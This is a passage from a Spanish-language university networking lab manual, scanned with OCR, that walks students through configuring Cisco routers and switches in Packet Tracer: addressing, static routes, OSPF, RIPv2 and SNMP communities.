Figura No. 2. Simulador de CISCO Packet Tracer

4.2.2 Abra el archivo correspondiente a la topologia realizada en el punto 12 del Cuestionario previo
(Ver Figura No. 3):
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LAN1: 60 hosts
P
g.___a_'_'__‘ =~ WAN 2
“PcPT 2960-24TT Router-PT
PC-0 Swich-0 Routerd
-/'
WAN 3
LAN2: 30 hosts outer
,__ Router4
PC-PT ’960 24TT Router-PT
PC-1 Swiar ] Routert \

WAN 4

LAN3: 55 hosts
L~ P
Q— i |
PC.PT 2060-247T Router-PT 1841
PC-2 SWich:2 Router2 R g
WAN 5 outerS
g__ LAN 4: 8 hosts

2960-24TT
Switch-3

PC-
PC-

Router-P’T
Router3

g

Figura No. 3. Topologia de red

4.2.3 Haga clic sobre el Router 0, seleccione la pestarfia de CLI, le preguntara que si desea realizar
la configuracidn inicial del router, responda NO en la linea de comando, presione la tecla
Enter y presione nuevamente la tecla Enter para ingresar el modo usuario del router.

4.2.4 Configure el nombre del router
Router>enable
Router# config t
Router (config)#hostname Router0

4.2.5 Configurela descripcion de interfaces, los mensajes de inicio de sesion (banners), la contrasefia
de acceso por lineas VTY y a través de Consola y configure una clave secreta cifrada de inicio
de sesion (enable secret).

NOTA: Para fines practicos esta configuracion inicamente se realizara para el Router 0
ya que no es tema de esta sesion.

Router0 (config)#enable secret xyzpassword
Router0 (config)#line con 0

Router0 (config-line)#password linepassword
Router0 (config-line)#login
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4.2.6

4.2.7

4.2.8
4.2.9

4.2.10

4.2.11

4.2.12

Router0 (config-line)#exit

Router0 (config)#line vty 0 4

Router0 (config-line)#password linepassword
Router0 (config-line)#login

Router0 (config-line)#exit

Router0 (config)#banner motd # Este es el Router( #

Asigne la direccion IP a cada interfaz de acuerdo con la Tabla 1.2. Reemplace los parametros
NETWORK_ADDRESS, SUBNET_MASK, ID_INTERFACE por el valor correspondiente de
acuerdo con la Tabla 1.2. En el caso de las interfaces conectadas a una LAN el parametro xxxx
debe ser reemplazado por el niimero de LAN de la cual se trata (1, 2, 3 y 4 respectivamente).
En el caso de las interfaces conectadas directamente a otro Router el parametro X debe ser
reemplazado por el identificador del router al cual se conecta (0, 1, 2, 3,4 y 5 respectivamente).

Router0 (config)#interface ID_INTERFACE

Router0 (config-if)#ip address NETWORK_ADDRESS SUBNET_MASK
Router0 (config-if)#description conexion a LAN xxxx

Router0 (config-if)#no shutdown

Router0 (config-if)#exit

Router0 (config)#interface ID_INTERFACE

Router0 (config-if)#ip address NETWORK_ADDRESS SUBNET_MASK
Router0 (config-if)#description conexion al routerX

Router0 (config-if)#no shutdown

Router0 (config-if)#exit

Router0 (config)#exit

RouterO#copy run start

Presione la tecla Enter para aceptar los cambios en el archivo startup-config y presione
nuevamente Enter para sobrescribir la configuracion.

Cierre la ventana de configuracion de RouterO.

Para guardar su proyecto, vaya al menu Archivo y haga clic en el botén Guarda Como, coloque
el nombre de admon2b_INICIALES, en la carpeta de Mis Documentos haga clic en guardar.
Configure los dispositivos Router1, Router2 y Router3 con base en los pasos 4.2.4 y 4.2.6. No
olvide cambiar los parametros xxxx (nimero de LAN) y X (identificador de Router) por el
correspondiente, asi como NETWORK_ADDRESS, SUBNET_MASK y ID_INTERFACE de acuerdo
con la Tabla 1.2.

La configuracion de Router4 y Router5 varia de los routers anteriores, la diferencia radica en
que estos routers actian como el extremo DCE, el cual se encarga de proporcionar una sefial
de sincronizacion. Para proporcionar la sefial de sincronizaciéon solamente es necesario
agregar un comando de configuracién en cada interfaz serial.

Configure el Router4 y el Router5 de acuerdo con los comandos siguientes. Recuerde cambiar
los parametros NETWORK_ADDRESS, SUBNET_MASK, ID_INTERFACE, xxxx y X por los
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correspondientes. Las interfaces que se configuran en el ejemplo son las interfaces
Fastethernet, debe notar que este tipo de interfaz no necesita una sefial de temporizacién en

ningln extremo.

Ejemplo configuracion del Router4

Router>enable
Router# config t

Router (config)#hostname Router4
Router4 (config)#enable secret xyzpassword
Router4 (config)#line con 0

Router4 (config-line)#password linepassword

Router4 (config-line)#login
Router4 (config-line)#exit
Router4 (config)#line vty 0 4

Router4 (config-line)#password linepassword

Router4 (config-line)#login
Router4 (config-line)#exit
Router4 (config)#banner motd # Este es el Router4 #
Router4 (config)#interface ID_INTERFACE
Router4 (config-if)#ip address NETWORK_ADDRESS SUBNET_MASK
Router4 (config-if)#description conexion al RouterX

Router4 (config-if)#no shutdown

Router4 (config-if)#exit

Router4 (config)#interface ID_INTERFACE
Router4 (config-if)#ip address NETWORK_ADDRESS SUBNET_MASK
Router4 (config-if)#description conexion al RouterX

Router4 (config-if)#clock rate 64000
Router4 (config-if)#no shutdown

Router4 (config-if)#exit

Router4 (config)#interface ID_INTERFACE
Router4 (config-if)#ip address NETWORK_ADDRESS SUBNET_MASK
Router4 (config-if)#description conexion al RouterX

Router4 (config-if)#clock rate 64000
Router4 (config-if)#no shutdown
Router4 (config-if)#exit

Router4 (config)#exit
Router4#copy run start

4.2.13 Guarde su proyecto, vaya al ment Archivo y haga clic en el botén Guardar, le preguntara que si
desea ;sobreescribir el archivo?, haga clic en el botdn si.
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NOTA: Guarde dos copias adicionales de este proyecto, las utilizara en la siguiente practica. La
primera copia debe tener el siguiente formato: admon2b_INICIALES_RIPv2. La segunda copia
debe tener el siguiente formato: admon2b_INICIALES_OSPF.

4.2.14 Haga clic sobre la PCO, seleccione la pestafia Desktop y haga clic en la opcién IP Configuration.
Asigne la direccién IP, la mascara de subred y el Gateway predeterminado de acuerdo con la Tabla No

1.2 de la practica.

4.2.15 Configure el resto de las PCs de manera similar al punto anterior.
4.2.16 Entender como se configuran los routers es indispensable para los administradores de redes.
Verifique las conexiones realizadas mediante los siguientes comandos en cada uno de los
routers desde el Router0 hasta el Router5.

RouterQ# show running-config
RouterO# show ip route
Router1# show running-config

Router1# show ip route

Router2# show running-config
Router2# show ip route

Router3# show running-config
Router3# show ip route

Router4# show running-config
Router4# show ip route

Router5# show running-config
QouterS# show ip route /

Explique la salida de las instrucciones show ip route.
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______________________________________________________________________________

4.2.17 Con ayuda de los comandos del punto anterior, identifique los segmentos de red que se
encuentran conectados directamente en cada dispositivo.

Elabore la tabla 1.3 donde se incluyan los segmentos de red conectados directamente a cada

dispositivo Router y a través de qué interfaz.

Tabla 1.3. Tabla de segmentos de red
Dispositivo Segmento de red Interfaz
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5.- Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.

- -o
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PRACTICA 3

Direccionamiento y configuracion de los dispositivos: router.
Cuestionario Previo

1. La Figura A muestra el aspecto de alto nivel de una arquitectura genérica de un router, en la
cual se identifican cuatro componentes principales, investigue en qué consiste cada uno.

Puerto de entrada Puerto de salida

— |, — = —p-

Entramado
de
conmutacién

~[]

e T — — —

~[]

Puerto de salida

Puerto de entrada

Procesador de
ruteo

Figura A. Estructura genérica de un router

2. ;Qué es un segmento de red?
3. (Qué es una mascara de red?
4. ;Qué es una subred?
5. (Qué es un sistema auténomo, en el area de redes?
6. (Qué esy como funcionan el protocolo de ruteo interno y externo?
7. ¢Qué esy como funciona el protocolo de ruteo estatico y el protocolo de ruteo dinamico?
8. ;Coémo funciona el enrutamiento por vector-distancia y el enrutamiento por estado-enlace?
9. Investigue ;qué es la conexion DTE y la conexion DCE?
10. ;Como se lleva a cabo el direccionamiento con subnetting?
11. ;Coémo se lleva a cabo el direccionamiento con VLSM?
12. La topologia que se utilizara en esta practica emplea diferentes modelos de routers cisco y
puede observarse en la Figura B. Realice las siguientes actividades:
a) Realizar el direccionamiento a mano a través de VLSM. El segmento de red asignado sera
proporcionado por su profesor o profesora o usted debe proponer uno.
b) Completar la Tabla 1.1 de la practica empleando la informacién obtenida en el inciso a)
c) Debera traer el archivo .pkt con la topologia ya construida, emplee la versién de Packet
Tracer que esta en el laboratorio.
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NOTA 1: Algunos modelos de routers necesitan la insercion de médulos para poder
hacer uso de mas interfaces de las que traen por defecto, para armar la topologia
indicada es necesario que investigue como deben incluirse dichos médulos.

NOTA 2: Es importante elegir la opcion DCE cuando se hacen las conexiones seriales
entre routers. Primero se debe seleccionar el router situado en el extremo derecho de
cada enlace y por dltimo el router situado en el extremo izquierdo del enlace. Lo cual
significa que el router del extremo izquierdo sera el dispositivo DCE, por lo tanto,
proporcionara la seial de sincronizacion.

LAN1: 60 hosts

O wan 2
pad 41T
Y et Rmer?\l\\
PC-0 v Router0
> L
WAN 3
LAN2: 30 hosts Router.
,-_ r Router
— e = WAN 1

7960 24TT
-PT Router-PT
o Switch-1

PC-1 RouterI \\
LAN3: 55 hosts
S e TP L o5
- »

2060-24TT

PC- P' Switch-2 Router-PT 1841
PC-2 Router2 WAN 5 RouterS
LAN 4: 8 hosts
,,,,, Ja - = ‘
PC-PT 2960-24TT Router-PT
PC-3 Switch-3 Router3

Figura B. Topologia de red

13. Para emplear el software Cisco Packet Tracer debe contar con una cuenta en Skills for All,
consulte el Anexo de este manual para crearla, si ya tiene una cuenta, puede consultar el mismo
anexo para utilizar el software.
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Practica 4

Protocolos de Enrutamiento

Estatico y Dinamico

Planeacion
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1.- Objetivos de Aprendizaje

e Elalumno o la alumna manipulara equipos de interconexiéon como son los routers.

e El alumno o la alumna configurara algunos protocolos de enrutamiento estatico y dindmico y
analizard su funcionamiento dentro de una red de area local mediante una herramienta de
simulacidn de redes: Packet Tracer.

2.- Conceptos teoricos

El Routing Information Protocol (RIP) es un protocolo vector - distancia, se especific6 originalmente
en el RFC 1058. Tiene por caracteristicas principales las siguientes:
e Protocolo de enrutamiento con clase.
e Utiliza el conteo de saltos como métrica.
e Seempleasi el conteo de saltos de una red es mayor de 15.
e Por defecto se envia un broadcast o multicast de las actualizaciones de enrutamiento cada 30
segundos.

RIPv2 es un protocolo de enrutamiento sin clase, las mascaras de subred se incluyen en las
actualizaciones de enrutamiento, lo que hace que RIPv2 sea mas compatible con los ambientes de
enrutamiento modernos.

En realidad, RIPv2 es una mejora de las funciones y extensiones de RIPv1l, mas que un protocolo
completamente nuevo. Algunas de estas funciones mejoradas incluyen:

e Direcciones de siguiente salto incluidas en las actualizaciones de enrutamiento

e Uso de direcciones multicast al enviar actualizaciones

e Opcidn de autenticacion disponible

Open Shortest Path First (OSPF) es un protocolo de enrutamiento de estado de enlace desarrollado
como reemplazo del protocolo de enrutamiento por vector de distancia: RIP. RIP constituy6 un
protocolo de enrutamiento aceptable en los comienzos del networking y de Internet; sin embargo, su
dependencia en el conteo de saltos como la tinica medida para elegir el mejor camino rapidamente se
volvio inaceptable en redes mayores que necesitan una solucién de enrutamiento mas so6lida. OSPF es
un protocolo de enrutamiento sin clase que utiliza el concepto de areas para realizar la escalabilidad.
RFC 2328 define la métrica OSPF como un valor arbitrario llamado costo. El I0S de Cisco utiliza el
ancho de banda como la métrica de costo de OSPF.

Las principales ventajas de OSPF frente a RIP son su rdpida convergencia y escalabilidad a
implementaciones de redes mucho mayores.
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3.- Equipo y material necesario
Equipo del Laboratorio:

e PC’s Pentium con una NIC Ethernet 10/100 Mbps instalada en cada una de ellas.
e Software de simulaciéon de Cisco, Packet Tracer.

Material de alumno:
e Los tres archivos de Packet Tracer creados en la practica anterior.

4.- Desarrollo

Modo de trabajar

La practica se desarrollara en parejas.

4.1 Configuracion del protocolo estatico.

El objetivo de este punto es configurar las tablas de enrutamiento manualmente, esto es crear tablas
de enrutamiento estaticas en cada router que permitan la comunicacion en toda la red.

NOTA: El ruteo no funciona hasta que todos los routers tengan ya configuradas sus tablas de
enrutamiento estaticas.

4.1.1 Abra el archivo admon2b_INICIALES y realice las configuraciones pertinentes en cada router.
4.1.2 Como usted notd, en la salida del comando show ip route sélo aparecian las redes conectadas
directamente a cada router. Para agregar una ruta estatica hacia una red se utiliza el comando:
ip route NETWORK NET_MASK {ID_INTERFACE | NEXT_HOP_ADDRESS}
Reemplace el pardmetro NETWORK con el segmento de red con el cual desea tener
comunicacion (red remota), el pardmetro NET_MASK corresponde a la mascara de subred de
la red remota.
El comando puede utilizar dos parametros diferentes que indican por dénde salen los
paquetes. Sdélo es posible utilizar uno de los dos parametros, el parametro ID_INTERFACE
corresponde a la interfaz del router local por la cual tendran salida los paquetes; el parametro
NEXT_HOP_ADDRESS corresponde a la direcciéon IP de la interfaz del otro router que se
encuentra conectado directamente al router que estd configurando, es decir, la siguiente
interfaz con la que se requiere tener comunicaciéon y que representa al gateway por donde
saldran los paquetes para llegar a la red remota.
Configure las rutas estaticas apropiadas para que todas las redes sean accesibles desde
cualquier red. Utilice el parametro NEXT_HOP_ADDRESS.
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RouterQ#config t

Router0(config)# ip route NETWORK1 NET_MASK NEXT_HOP_ADDRESS
RouterO(config)# ip route NETWORK2 NET_MASK NEXT_HOP_ADDRESS
RouterO(config)#exit

RouterO#copy run start

4.1.3 Guarde su proyecto, vaya al menu Archivo y haga clic en el botén Guardar, le preguntara que si
desea ;sobreescribir el archivo?, haga clic en el boton si.
4.1.4 Configure las rutas estaticas apropiadas en cada dispositivo (router) de tal manera que todas
las redes sean accesibles desde cualquier origen. En todas las rutas estaticas utilice el
parametro NEXT_HOP_ADDRESS.
4.1.5 Guarde su proyecto, vaya al menu Archivo y haga clic en el botén Guardar, le preguntara que si
desea ;sobreescribir el archivo?, haga clic en el botén si.

4.2 Verificacion de las tablas de enrutamiento

El objetivo de este apartado es la comprobaciéon de las tablas de ruteo configuradas en el punto
anterior, para lo cual se emplea el comando show ip route.

4.2.1 Abra la CLI de cada router y use el comando show ip route para verificar la tabla de

enrutamiento.

-

RouterO# show ip route
Router1# show ip route
Router2# show ip route
Router3# show ip route
Router4# show ip route
Router5# show ip route

-

~

/

4.2.2 Unavez comprobadas las tablas de enrutamiento en todos los routers, verifique la conectividad
entre los routers haciendo ping a las direcciones de las interfaces de cada router:

RouterO#ping ADDRESS_1
RouterO#ping ADDRESS_2
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4.2.3 Todas las pruebas de ping deben tener éxito, de lo contrario observe cudl falla y revise las rutas
estaticas referentes a dicha prueba.
Muestre a su profesor o profesora las pruebas de ping realizadas.

4.3 Configuracion basica del protocolo OSPF

4.3.1 Abra el archivo que guardé en el punto 4.2.13 de la practica anterior (Practica 3) y que hace
referencia al protocolo de enrutamiento OSPF.

4.3.2 Haga clic sobre la PCO, seleccione la pestafia Desktop y haga clic en la opcion IP Configuration.
Asigne la direccidn IP, la mascara de subred y el Gateway predeterminado de acuerdo ala Tabla
1.2 de la practica anterior.

4.3.3 Configure el resto de las PCs de manera similar al punto anterior.

4.3.4 El objetivo de este punto es configurar los routers de la topologia, ver Figura 1.1, con un
protocolo de enrutamiento dinamico para que se comuniquen entre si.

4.3.5 Haga clic sobre el Router0, seleccione la pestafia de CLI y presione una vez la tecla Enter;
cuando lo solicite, coloque la contrasefia para ingresar al router. Entre al modo privilegiado del
router, recuerde que se realiza a través del comando enable. Por dltimo, ingrese al modo de
configuracion global del router a través del comando configure terminal.

4.3.6 Ingrese al modo de configuracién del protocolo de enrutamiento OSPF.

De acuerdo con el funcionamiento de OSPF, para ingresar al modo de configuracién del
protocolo OSPF ;Qué pardmetro debemos utilizar en el comando router ospf?

[RouterO (config)# router ospr]

¢;Como se obtiene la WILDCARD de una subred? Obtenga la WILDCARD de cada subred y
complete la Tabla 1.3.

Tabla 1.1. Tabla de mascaras wildcard

Dispositivo | Subred conectada | Wildcard
directamente

Router0

Router1

Router2
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Router3

Router4

Router5

4.3.7 Configurar las subredes que se encuentran conectadas directamente al Router0. De acuerdo
con la Tabla 1.1, en el comando network NETWORK_ADDRESS WILDCARD area Y reemplace
los parametros NETWORK_ADDRESS y WILDCARD por los valores correspondientes. El
parametro Y que corresponde al nimero de area serd O. Es importante que indique todas y
cada una de las subredes conectadas directamente en un comando network independiente.

Router0(config-router)#network NETWORK_ADDRESS1 WILDCARD1 area Y
RouterO(config-router)#network NETWORK_ADDRESS2 WILDCARD?2 area Y

4.3.8 No permita que las actualizaciones de enrutamiento se envien a las interfaces conectadas a la
LANX. Para esto tiene que colocar la interfaz Fast Ethernet en modo pasivo. Cambie el
parametro ID_INTERFACE por la interfaz correspondiente. Salga del modo de configuracion
del protocolo de enrutamiento y guarde su configuracidn.

Router0(config-router)#passive-interface ID_INTERFACE
Router0(config-router)#exit

Router0(config)#exit

RouterO#copy run start

4.3.9 Configure el resto de los routers de manera similar a las configuraciones del Router(, no olvide
cambiar los parametros NETWORK_ADDRESS y WILDCARD por los valores correspondientes
de acuerdo con la Tabla 1.2 y el pardmetro ID_INTERFACE por la interfaz adecuada para
cumplir con los requerimientos indicados.

4.3.10 Guarde su proyecto, vaya al menu Archivo y haga clic en el botén Guardar, le preguntara que si

desea ;sobreescribir el archivo?, haga clic en el boton si.
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4.4 Verificacion de las tablas de ruteo

El objetivo de este apartado es la comprobacién de las tablas de ruteo configuradas en el punto

anterior, para lo cual se emplea el comando show ip route.

4.4.1 Compruebe las tablas de enrutamiento en cada uno de los routers y verifique si las tablas de
enrutamiento contienen una ruta para cada una de las subredes de la topologia.

[ Router0 (config)#show ip route ]

4.4.2 Una vez comprobadas las tablas de ruteo en todos los routers, verifique la conectividad entre
los mismos mediante las siguientes pruebas de ping (Tabla 1.2). Muestre la tabla a su profesor
o profesora:
Tabla 1.2. Pruebas de conectividad
Prueba (Exitoso?
PCO 2 PC1
PC1 > PC2
PC2 2> PC3
PC3 - PCO
PCO - Fa0/0 de Router4
PC3 - Fa0/0 de Router5

4.4.3 Sialguna de las pruebas de ping no tuvo éxito solucione el problema, si la salida del comando
show ip route no revel6 algtiin problema en las tablas de ruteo, verifique que las direcciones IP
se encuentran asignadas correctamente a cada dispositivo.

EJERCICIO OPCIONAL

4.5 Configuracion basica del protocolo RIPv2

4.5.1 Abra el archivo que guardé como admon2b_INICIALES_RIPv2 de la practica anterior y que
hace referencia al protocolo de enrutamiento RIPv2.
4.5.2 El objetivo de este punto es configurar los routers de la topologia, ver Figura No. 1, con un
protocolo de enrutamiento dindmico para que se comuniquen entre si.
4.5.3 Llene la Tabla 1.3. indicando las subredes que se encuentran conectadas directamente a cada
uno de los routers, no olvide indicar la mascara de subred que le corresponde a cada subred.

4.5.4 Haga clic sobre el Router0, seleccione la pestafia de CLI y presione una vez la tecla Enter;
cuando lo solicite, ingrese la contrasefia para ingresar al router. Ingrese al modo privilegiado
del router, recuerde que se realiza a través del comando enable. Por ultimo, ingrese al modo
de configuracidn global del router a través del comando configure terminal.

50




\NGENIERI4 Cddigo: MADO-32
Manual de practicas del Ve’rs!on: 05
. . iy Pagina 51/189
Laboratorio de Administracion v
Secciéon ISO 8.3
de Redes Fecha d
echa de 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

LAN 1: 60 hosts
!_ .!i = l’- =t
b 2960-24TT N WAN 2
i Z Router-PT
BoET Switcho —~r

PCO RouterD =
LAN 2: 30 hosts Router&\
[j_ -q__,:‘_‘ Routerd \{'\"A” 1
. e - WAN 3 \\‘

pc.F;TJ 2969'24-“ Router-PT
oc1 Switch1 Routerl

1841

LAN 3: 55 hosts Routers

!:!" e -5
‘pC-PT 2960-247TT Router-PT
Aol Switch2 Router2
PC2 outer
LAN 4: 8 hosts -
g‘ e -y
PC-PT 29602411 Router-PT
PC3 Switch3 Router3

Figura No. 1. Topologia del laboratorio

Tabla 1.3. Subredes conectadas directamente a los routers

Madscara de
subred

Subred
directamente

Dispositivo conectada

Routero0

Router1

Router2

Router3

Router4

Router5

De acuerdo con el esquema de direccionamiento obtenido anteriormente y a su investigacion del
previo de esta prdctica, ;Qué version de RIP debemos utilizar?
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4.5.5

4.5.6

Ingrese al modo de configuracién del protocolo de enrutamiento RIP. Y seleccione la version
que debemos configurar.

RouterO(config)#router rip
Router0(config-router)#version numero_de_version

Configurar las subredes que se encuentran conectadas directamente al Router0. De acuerdo
con la Tabla 1.1, en el comando network NETWORK ADDRESS reemplace los parametros
NETWORK_ADDRESS por la subred correspondiente, es importante que indique todas y cada
una de las subredes conectadas directamente empleando un comando network por cada
subred.

RouterO(config-router)#network NETWORK_ADDRESS1
RouterO(config-router)#network NETWORK_ADDRESS2

4.5.7

4.5.8

4.5.9

No permita que las actualizaciones de enrutamiento se envien a las interfaces conectadas a la
LANX. Para esto tiene que colocar la interfaz Fast Ethernet en modo pasivo. Cambie el
parametro ID_INTERFACE por la interfaz correspondiente. Salga del modo de configuracién
del protocolo de enrutamiento y guarde su configuracion.

Router0(config-router)#passive-interface ID_INTERFACE
Router0(config-router)#exit

Router0(config)#exit

RouterO#copy run start

Configure el resto de los routers de manera similar a las configuraciones del Router0, no olvide
cambiar el pardmetro NETWORK_ADDRESS por el valor correspondiente de acuerdo con la
Tabla 1.1 y el parametro ID_INTERFACE por la interfaz adecuada para cumplir con los
requerimientos indicados.

Guarde su proyecto, vaya al menu Archivo y haga clic en el botén Guardar, le preguntara que si
desea ;sobreescribir el archivo?, haga clic en el botén si.

4.6 Verificacion de las tablas de ruteo

El objetivo de este apartado es la comprobacién de las tablas de ruteo configuradas en el punto
anterior, para lo cual se emplea el comando show ip route.

4.6.1

Compruebe las tablas de enrutamiento en cada uno de los routers y verifique si las tablas de
enrutamiento contienen una ruta para cada una de las subredes de la topologia.
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________________________

________________________

Una vez comprobadas las tablas de ruteo en todos los routers, verifique la conectividad entre
los mismos mediante las siguientes pruebas de ping (Tabla 1.4). Muestre la tabla a su profesor
o profesora:

Tabla 1. 4. Pruebas de conectividad

Prueba

.Exitoso?

PCO = PC1

PC1 > PC3

PC2 > PC3

PC3 > PCO

PCO - Fa0/0 de Router4

PC3 - Fa0/0 de Router5

4.6.2 Sialguna de las pruebas de ping no tuvo éxito solucione el problema, si la salida del comando
show ip route no revel6 algiin problema en las tablas de ruteo, verifique que las direcciones IP
se encuentran asignadas correctamente a cada dispositivo.

5 Conclusiones

Revise los objetivos de la practica y las actividades realizadas y emita sus conclusiones.

______________________________________________________________________________
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PO XN R W

PRACTICA 4

Protocolos de Enrutamiento Estatico y Dinamico
Cuestionario Previo

¢Como se lleva a cabo la configuracién del protocolo estatico?
;Cudles son las caracteristicas del protocolo RIP versién 1?
;Cudles son las caracteristicas del protocolo RIP versién 2?
¢Cudl es la sintaxis para configurar RIP?
;Cudles son las caracteristicas de OSPF?
;Coémo funciona el algoritmo shortest path first (SPF)?

;Qué es el término de WILDCARD en el entorno de ruteo dindmico?
;Cudl es la sintaxis para configurar OSPF?
;Qué es convergencia en los protocolos de enrutamiento?
0. Explique cdmo se emplea el siguiente comando, escriba 5 ejemplos representandolos en un

diagrama de subredes en Packet Tracer: ip route Network Net_Mask ID_Interface

11. Explique cémo se emplea el siguiente comando, escriba 5 ejemplos representandolos en un
diagrama de subredes en Packet Tracer: ip route Network Net_Mask Next_Hop_Address

12. Para emplear el software Cisco Packet Tracer debe contar con una cuenta en SKkills for All,
consulte el Anexo de este manual para crearla, si ya tiene una cuenta, puede consultar el mismo
anexo para utilizar el software.
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Practica 5

Administracion con SNMP en Cisco
Packet Tracer

Organizacion
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1.- Objetivo de aprendizaje

e Elalumno o la alumna analizara y explorara el significado y utilidad de los diferentes objetos
de la MIB-II, consultando los valores a un agente SNMP.

e El alumno o la alumna configurara a través de la interfaz de linea de comandos el protocolo
de mantenimiento SNMP en algunos dispositivos Cisco.

2.- Conceptos teoricos

SNMP, Protocolo Simple de Administracion (Simple Network Manager Protocol) es un protocolo del
nivel de aplicacion que proporciona una estructura de mensajes para el intercambio de informacién
entre administradores y agentes SNMP, es decir, proporciona un entorno de trabajo estandarizado y
un lenguaje comun empleado para el monitoreo y administracion de dispositivos de la red. El protocolo
SNMP se conforma de 3 elementos:

a) Un administrador SNMP es un sistema empleado para controlar la actividad de los
componentes de la red mediante SNMP, regularmente denominado NMS, Sistema de
Administracion de Red (Network Management System).

b) Unagente SNMP es el componente software dentro del dispositivo administrado que mantiene
los datos del mismo e informa al administrador acerca de ellos, cuando se requiere. Contiene
variables de la MIB cuyos valores pueden ser solicitados o modificados por el administrador
SNMP, mediante operaciones get y set.

¢) Una MIB es una colecciéon de objetos de informacién de administracidn, residente en el
dispositivo administrado. Sus colecciones de objetos estan definidos como mddulos escritos en
un lenguaje especial.

El protocolo funciona de la siguiente manera: el administrador puede leer un valor de un agente o
almacenar un valor en dicho agente, éste tltimo obtiene los datos de la MIB, donde se almacenan los
pardmetros del dispositivo y datos del funcionamiento de la red. El agente responde a las solicitudes
de los administradores y les puede enviar notificaciones no solicitadas en forma de informes o
interrupciones (traps) para dar a conocer las condiciones de la red. Existen 6 operaciones basicas que
se realizan entre administradores y agentes SNMP, las cuales se resumen en la Tabla 1.1.

Tabla 1.1 Operaciones basicas entre agentes y administradores SNMP

Funcionamiento
Solicita el valor de una variable especifica.

Operacion
get-request
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get-next- Solicita el valor de una variable sin conocer su
request nombre, se emplea en buisqueda secuencial en tablas.
get-bulk- Solicita bloques grandes de datos, por ejemplo, varias
request filas de una tabla.

get-response Es la respuesta a una peticion get-request, get-next-

request o set-request.

inform-request | Permite la comunicacién entre administradores
SNMP.

trap Se refiere a los mensajes no solicitados enviados por
los agentes al administrador SNMP si ocurre algin
evento inesperado.

NOTA: El protocolo SNMP funciona de acuerdo con el modelo cliente/servidor, donde el proceso
servidor se ejecuta en los agentes y permanece escuchando las peticiones por parte del
administrador SNMP.

3.- Equipo y material necesario

Equipo del Laboratorio:

e PC’s Pentium con una NIC Ethernet 10/100 Mbps instalada en cada una de ellas.
e Software de simulacion de Cisco, Packet Tracer.

4.- Desarrollo

Modo de trabajar

La practica se desarrollara en parejas.
4.1 Iniciando Packet Tracer

4.1.1 Inicie el simulador Packet Tracer (Ver Figura No. 1).
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Figura No. 1 Simulador CISCO Packet Tracer

4.1.2  Abra el archivo de Packet Tracer realizado durante el cuestionario previo.

4.1.3 Encienda la interfaz del Router0 conectado al SwitchLabRyS y pruebe que hay comunicacién a
través de toda la red.

4.2 Configuracion de la topologia
4.2.1 Complete la topologia con los dispositivos y conexiones como lo muestra la figura No. 2, asigne

la etiqueta correspondiente para poder identificarlos (es importante que verifique que los
modelos de los dispositivos sean los mismos que la topologia mostrada):

58




\NGEN'EM Cadigo: MADO-32

F l. Manual de practicas del version: 05

&) L . i < Pagina 59/189

b aboratorio de Administracion Seccion |

N7 de Redes eccion 1ISO 8.3

w Fecha de
.y 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

S
PC-PT
PCO
— — — J-ﬂ-}i""
B 25
PC-PT 2960§24TT P
Switchf abRyS Routerl

I

!

I

Lo
5 R gy 4

1841 2960-24TT 2960-24TT
RouterAgente SwitchSNMP SwitchAgente

PC-PT
PC2

Figura No. 2 Topologia
4.2.2 Con ayuda de su profesor o profesora conecte PC1 y PC2 mediante un cable consola al

SwitchAgente y al RouterAgente respectivamente, utilice la interfaz RS232 de las PC y la
interfaz Console del Switch y del Router como lo muestra la Figura No. 3.
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Figura No. 3 Conexiones

NOTA: Guarde constantemente su archivo para no perder su progreso.

4.3 Configuracion del Switch SNMP

4.3.1 Seleccione el SwitchSNMP y asignele el nombre SwitchSNMP mediante el comando
hostname como lo realizé en el cuestionario previo con el SwitchLabRyS.

4.3.2 Configure la contrasefia para el modo privilegiado del Switch empleando los

siguientes comandos:

SwitchSNMP>enable

SwitchSNMP>configure terminal

SwitchSNMP(config)#enable password CONTRASENA
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SwitchSNMP(config)#exit

Donde CONTRASENA ser4 sustituida por alguna de su preferencia. Anote la contrasefia
utilizada:

4.3.3 Configure la contrasefia para la consola del Switch empleando los siguientes
comandos:

SwitchSNMP>enable

SwitchSNMP>configure terminal
SwitchSNMP(config-line)#line console 0
SwitchSNMP(config-line)#password CONTRASENA
SwitchSNMP(config-line)#login
SwitchSNMP(config-line)#exit

Donde CONTRASENA sera sustituida por alguna clave de su preferencia. Anote la
contrasena utilizada:

4.3.4 Asigne una direccion IP al SwitchSNMP dentro del rango relacionado con el segmento
de red 192.168.2.0, utilice vlan 1 como interfaz y enciéndala con los siguientes
comandos

SwitchSNMP>enable

SwitchSNMP#configure terminal

SwitchSNMP(config)#interface vlan 1

SwitchSNMP (config-if)#ip address IP_SWITCHSNMP MASCARA_RED
SwitchSNMP(config-if)#no shutdown

SwitchSNMP (config-if) #exit

[P_SWITCHSNMP: Es la direccion IP del SwitchSNMP dentro del segmento 192.168.2.0
MASCARA_RED: Es la mascara de red para el segmento 192.168.2.0
Anote la direccion IP utilizada:

4.4 Configuracion de comunidades SNMP

4.4.1 Configure la comunidad SNMP de lectura en el SwitchSNMP ingresando los comandos:
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SwitchSNMP>enable
SwitchSNMP#configure terminal

SwitchSNMP(config)#snmp-server community s010le0 ro
SwitchSNMP(config)#exit

Donde:

El simbolo “0” se trata de ceros no de la letra “O” mayuscula.
ro significa Read Only y con ella se puede consultar la configuracién de los equipos
que pertenecen a la comunidad

4.5 Configuracion del Switch Agente

4.5.1 Para configurar el Switch que serd administrado de manera remota, seleccione la
terminal en la pestafia Desktop (Figura No. 4) de la PC1 conectada al SwitchAgente
mediante la interfaz consola, emplee los pardmetros que se muestran en la figura No.

5.
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L L

Terminal

Command Web Browser

Pv6 Frewal

Figura No.4 Terminal
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Terminal Configuration I
Port Configuration
Bits Per Second: 9800 ~
Data Bits: 8 ~
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Stop Bits: 1 R
Flow Control: None R

0].4

Figura No. 5 Parametros

4.5.2 Emplee la ventana correspondiente a la pestafa CLI del Switch. Presione Enter y
asignele el nombre SwitchAgente mediante el comando hostname como lo realizé en
el cuestionario previo con el SwitchLabRyS.

4.5.3 Asigne una direccion IP al SwitchAgente utilizando vlan 1 como interfaz y enciéndala
con los siguientes comandos:

SwitchAgente>enable

SwitchAgente#configure terminal

SwitchAgente(config)#interface vlan 1

SwitchAgente(config-if)#ip address IP_SWITCHAGENTE MASCARA_RED
